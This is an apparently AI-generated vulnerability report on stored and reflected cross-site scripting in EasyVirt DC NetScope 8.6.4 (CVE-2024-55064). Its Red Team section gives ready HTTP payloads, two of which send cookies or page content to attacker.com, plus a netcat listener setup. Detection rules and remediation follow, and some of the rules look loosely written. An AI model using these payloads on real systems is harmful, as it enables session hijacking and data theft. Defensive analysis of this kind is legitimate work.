CVE-2024-55064

Executive Summary

CVE-2024-55064 identifies multiple stored and reflected cross-site scripting (XSS) vulnerabilities in EasyVirt DC NetScope, a data center management platform. The vulnerabilities affect versions up to and including 8.6.4. An unauthenticated remote attacker can inject arbitrary JavaScript or HTML code into several administrative configuration endpoints, including SMTP, NTP, DNS, and vCenter settings. Successful exploitation could lead to session hijacking, credential theft, or defacement of the management interface. No official patch has been released at the time of analysis.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the attack vector (network), attack complexity (low), privileges required (none), user interaction (required), and impact (confidentiality, integrity, availability – low), a reasonable estimate is:

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Threat Level: Medium – Exploitation requires user interaction (admin visiting a crafted link), but the impact is limited to the browser session.

Deep Dive & Mechanics

The vulnerabilities are classic stored and reflected XSS flaws. The application fails to sanitize user-supplied input before storing it in configuration parameters or reflecting it in HTTP responses.

• Stored XSS (SMTP, NTP, DNS, vCenter): An attacker with network access can send a crafted POST request to endpoints like /smtp/update, /proxy/ntp/change, or /process_new_vcenter. The malicious payload (e.g., <script>alert('XSS')</script>) is stored in the application’s configuration. When an administrator views the configuration page, the script executes in their browser.
• Reflected XSS (email_recipients): The email_recipients parameter in /smtp/update may reflect input directly in the response without encoding, allowing immediate execution.

The attack surface is broad because these endpoints are typically accessible to authenticated users, but the lack of CSRF protection could allow cross-origin exploitation.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code likely uses direct string concatenation or echo statements without proper output encoding.

Vulnerable (PHP-like pseudocode):

$smtp_server = $_POST['smtp_server'];
// Directly stored and later echoed without sanitization
$config->set('smtp_server', $smtp_server);
// Later in admin panel:
echo "<input value='$smtp_server'>";

Patched (expected):

$smtp_server = htmlspecialchars($_POST['smtp_server'], ENT_QUOTES, 'UTF-8');
$config->set('smtp_server', $smtp_server);
// Later in admin panel:
echo "<input value='" . htmlspecialchars($smtp_server, ENT_QUOTES, 'UTF-8') . "'>";

Exploitation & Lab Setup

Red Team

Prerequisites:

• Network access to the EasyVirt DC NetScope web interface (port 80/443).
• A valid session cookie (if authentication is required, but some endpoints may be unprotected).

Exploit Payloads:

1. Stored XSS via SMTP:

POST /smtp/update HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Cookie: session=valid

smtp_server=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>&smtp_account=test&smtp_password=test&email_recipients=admin@example.com

2. Reflected XSS via email_recipients:

POST /smtp/update HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

smtp_server=127.0.0.1&smtp_account=test&smtp_password=test&email_recipients=<img src=x onerror=alert(1)>

3. Stored XSS via NTP:

POST /proxy/ntp/change HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

ntp=<script>new Image().src='https://attacker.com/beacon?data='+btoa(document.body.innerHTML)</script>&dns=8.8.8.8

Lab Setup:

• Use a local VM running EasyVirt DC NetScope 8.6.4 (if available) or a Docker container.
• Set up a listener (e.g., nc -lvnp 80) to capture exfiltrated data.
• Use Burp Suite or curl to send crafted requests.

Blue Team

Detection:

• Monitor for unusual POST requests to /smtp/update, /proxy/ntp/change, /process_new_vcenter containing HTML tags or JavaScript keywords (<script>, onerror, onload).
• Look for anomalous outbound connections from the EasyVirt server to unknown IPs (potential data exfiltration).

Hunting:

• Search web server logs for requests with smtp_server, ntp, dns, or newVcenterAddress parameters containing < or > characters.
• Review stored configuration values in the database for script tags.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /smtp/update with smtp_server containing <script> or onerror.
  • POST requests to /proxy/ntp/change with ntp containing JavaScript.
  • POST requests to /process_new_vcenter with newVcenterAddress containing HTML.
• File System:
  • Configuration files (e.g., config.xml, settings.ini) containing <script> tags.
• Logs:
  • Web server logs showing 200 responses to the above endpoints with suspicious payloads.

Detection Engineering

YARA Rule

rule detect_easyvirt_xss_payload {
    meta:
        description = "Detects XSS payloads targeting EasyVirt DC NetScope CVE-2024-55064"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $smtp_payload = /smtp_server=[^&]*<script/i
        $ntp_payload = /ntp=[^&]*<script/i
        $dns_payload = /dns=[^&]*<script/i
        $vcenter_payload = /newVcenterAddress=[^&]*<script/i
    condition:
        any of them
}

Sigma Rule

title: EasyVirt DC NetScope XSS Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects XSS payloads in POST requests to EasyVirt DC NetScope endpoints
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/smtp/update'
            - '/proxy/ntp/change'
            - '/process_new_vcenter'
        cs-uri-query|re:
            - 'smtp_server=.*<script'
            - 'ntp=.*<script'
            - 'dns=.*<script'
            - 'newVcenterAddress=.*<script'
    condition: selection
falsepositives:
    - Legitimate admin testing
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"EasyVirt DC NetScope XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/smtp/update"; http_uri; content:"smtp_server"; http_client_body; pcre:"/smtp_server=[^&]*<script/i"; sid:1000001; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"EasyVirt DC NetScope XSS Attempt - NTP"; flow:to_server,established; content:"POST"; http_method; content:"/proxy/ntp/change"; http_uri; content:"ntp"; http_client_body; pcre:"/ntp=[^&]*<script/i"; sid:1000002; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"EasyVirt DC NetScope XSS Attempt - vCenter"; flow:to_server,established; content:"POST"; http_method; content:"/process_new_vcenter"; http_uri; content:"newVcenterAddress"; http_client_body; pcre:"/newVcenterAddress=[^&]*<script/i"; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable unused endpoints – Block access to /smtp/update, /proxy/ntp/change, /process_new_vcenter via web application firewall (WAF) or reverse proxy rules.
2. Input validation – Implement strict allowlist validation for all parameters (e.g., IP addresses, email addresses).
3. Output encoding – Apply HTML entity encoding (htmlspecialchars in PHP, escape in Python) before rendering user input.
4. CSRF tokens – Add anti-CSRF tokens to all configuration forms.

Long-term:

• Upgrade to a patched version when available.
• Conduct a full security audit of the application’s input handling.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.